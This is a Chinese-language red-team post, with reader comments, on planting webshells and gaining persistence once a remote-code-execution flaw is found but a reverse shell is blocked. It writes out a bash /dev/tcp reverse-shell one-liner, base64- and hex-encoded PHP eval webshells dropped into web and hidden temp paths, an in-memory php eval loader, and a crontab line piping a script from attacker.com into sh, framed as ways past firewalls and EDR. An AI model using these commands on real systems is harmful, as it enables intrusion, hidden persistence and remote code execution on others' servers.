RCE无法反弹shell怎么办?
TOPIC SOURCE
命令执行写webshell总结
红队渗透测试中,RCE漏洞的利用往往伴随着一个尴尬的现实:超过60%的反弹shell尝试会因为网络限制、权限管控或安全防护软件而失败。当熟悉的bash -i >& /dev/tcp/x.x.x.x/port 0>&1失去作用时,真正的技术较量才刚刚开始。
为什么反弹shell会失败?
防火墙出站规则严格限制了特定端口,这是最常见的原因。云环境下的安全组配置往往只允许80/443等业务端口外联,那些试图通过随机高端口建立反向连接的操作基本都会触礁。另外,目标系统可能部署了EDR解决方案,实时监控进程行为,一旦检测到可疑的网络连接模式就会立即阻断。
文件写入的替代方案
当直接反弹shell受阻时,写入Webshell成为最直接的突破口。但这里有个技术细节经常被忽略:字符转义问题。原始webshell代码中的<?php ?>标签和$符号在命令执行环境中可能被特殊处理。
资深渗透测试员会采用base64编码绕过字符限制:
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d > /var/www/html/shell.php
如果目标系统缺少base64工具,十六进制编码同样有效:
echo 3c3f70687020406576616c28245f504f53545b615d293b203f3e | xxd -r -p > shell.php
权限突破的艺术
写入文件只是第一步,执行权限才是关键。在严格受限的环境中,web目录往往配置了严格的写权限。这时可以考虑系统临时目录:
echo '<?php system($_GET["cmd"]);?>' > /tmp/.config.php
某些CMS的缓存目录、日志目录通常具备写权限,这些位置往往被安全配置忽视。找到这些"盲点"需要你对目标系统的架构有深刻理解。
无文件落地的技术路线
高级攻击者会完全避免文件写入。通过内存加载技术,直接将webshell代码注入到运行的PHP进程中:
php -r "eval(base64_decode('PD9waHAg...'));"
或者利用系统的计划任务功能建立持久化通道,这种方法完全绕过了文件检测:
echo '* * * * * curl http://attacker.com/c.sh | sh' | crontab -
说到底,RCE利用的本质是对目标系统理解的深度测试。当标准方法失效时,那些藏在系统角落里的非常规路径,往往能带你走向更广阔的控制领域。

参与讨论
防火墙这块说得太对了,上次在云环境死活弹不回shell来。
试过用base64写webshell,有的系统连base64命令都没有,真头疼。
用/tmp目录这个思路不错,web目录没权限的时候可以试试。
要是目标装了EDR,这些方法是不是也容易被检测到啊?
之前渗透测试就卡在反弹shell上了,后来发现是安全组只开了443。
可以试试内存加载,不过得先确定目标PHP版本支持吧?
写进计划任务这招够隐蔽,就是得先拿到crontab权限。
十六进制编码这招还没试过,下次遇到没base64的机器试试。
@ 人形自走BGM 我也常用xxd,没base64时的救星